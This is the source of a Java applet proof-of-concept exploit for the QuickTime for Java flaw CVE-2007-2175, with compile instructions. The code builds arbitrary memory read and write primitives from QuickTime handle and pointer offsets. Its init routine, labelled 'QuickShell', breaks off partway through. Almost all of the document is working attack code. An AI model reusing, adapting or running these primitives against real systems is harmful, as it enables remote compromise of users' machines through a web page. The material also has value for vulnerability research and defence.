/* QTJava PoC (CVE-2007-2175) - hdm[at]metasploit.com http://www.zerodayinitiative.com/advisories/ZDI-07-023.html http://www.securityfocus.com/blogs/104 javac -classpath /System/Library/Java/Extensions/QTJava.zip:/System/Library/Frameworks/JavaVM.framework/Versions/1.5.0/Home/lib/plugin.jar QTBurn.java */ import java.applet.Applet; import java.applet.AppletContext; import java.awt.*; import java.net.*; import java.math.*; import java.io.*; import java.util.*; import netscape.javascript.*; import quicktime.*; import quicktime.util.*; public class QTBurn extends Applet { public static int intFromByte(byte a) { return (int) a & 0xFF; } public static int intFromBytesLE(byte a, byte b, byte c, byte d){ int v = 0; v += intFromByte(d) << 24; v += intFromByte(c) << 16; v += intFromByte(b) << 8; v += intFromByte(a) << 0; return(v); } public static int intFromBytesBE(byte a, byte b, byte c, byte d){ int v = 0; v += intFromByte(a) << 24; v += intFromByte(b) << 16; v += intFromByte(c) << 8; v += intFromByte(d) << 0; return(v); } public static byte[] bytesFromIntLE(int addr){ byte res[] = new byte[4]; res[3] = (byte) ((addr >> 24) & 0xff); res[2] = (byte) ((addr >> 16) & 0xff); res[1] = (byte) ((addr >> 8) & 0xff); res[0] = (byte) ((addr >> 0) & 0xff); return(res); } public static byte[] bytesFromIntBE(int addr){ byte res[] = new byte[4]; res[0] = (byte) ((addr >> 24) & 0xff); res[1] = (byte) ((addr >> 16) & 0xff); res[2] = (byte) ((addr >> 8) & 0xff); res[3] = (byte) ((addr >> 0) & 0xff); return(res); } public static int isBigEndian() { try { byte data[] = new byte[4]; QTHandle h = new QTHandle(data); int haddr = QTObject.ID(h); int paddr = QTObject.ID( h.toQTPointer(0, 4) ); byte resp[] = readMemory(haddr, 4); int addr_be = intFromBytesBE(resp[0], resp[1], resp[2], resp[3]); int addr_le = intFromBytesLE(resp[0], resp[1], resp[2], resp[3]); if (addr_be == paddr) { return(1); } if (addr_le == paddr) { return(0); } } catch(QTException e) { } return(0); } public static int handleToAddress(QTHandle h) { /* QTPointerRef p = h.toQTPointer(0, 1); String raw = p.toString(); int res = 0; int sidx = raw.indexOf('@') + 1; int eidx = raw.indexOf('['); String val = raw.substring(sidx, eidx); res = Integer.parseInt(val, 16); return (res); */ /* Thanks Dino! */ QTPointerRef p = h.toQTPointer(0, 1); return (QTObject.ID(p)); } /* create a read pointer for any address */ public static QTPointerRef addrToPointer(int addr, int size) { System.out.printf("Finding a pointer to 0x%x for size %d\n", addr, size); try { byte data[] = new byte[size]; byte newa[] = new byte[size]; QTHandle newh = new QTHandle(data); int base = 0; int off = 4; int blen = size + 4; while (off > 0 && (off >> 31 == 0)) { data = new byte[blen]; newh = new QTHandle(data); base = handleToAddress(newh); if (base > addr) { off = (base - addr) * -1; } else { off = (0xffffffff - (addr - base)) * -1; off -= 1; } System.out.printf("Offset is 0x%x (%d)\n", off, off); if (blen > (1024*1024*32)+size) { System.out.printf("Giving up on patching address 0x%x\n", addr); return(null); } if (off > 0 && (off >> 31 == 0)) { System.out.printf("Trying to allocate 0x%x bytes (base=0x%x / offset=%x)\n", blen, base, off); blen += 1024*1024*8; } } QTPointerRef p = newh.toQTPointer(off, size); return(p); } catch(QTException e) { } return(null); } public static byte[] readMemory(int addr, int size) { QTPointerRef p = addrToPointer(addr, size); System.out.printf("Reading %d bytes from 0x%x\n", size, QTObject.ID(p)); return p.getBytes(); } public static void writeMemory(int addr, int size, byte data[]) { QTPointerRef p = addrToPointer(addr, size); System.out.printf("Writing %d bytes to 0x%x\n", size, QTObject.ID(p)); p.copyFromArray(0, data, 0, size); return; } public void init() { System.out.println("[*] Starting QuickShell..."); int blen = 1024; int leak = 1024; byte addr[] = new byte[blen]; for (int x=0; x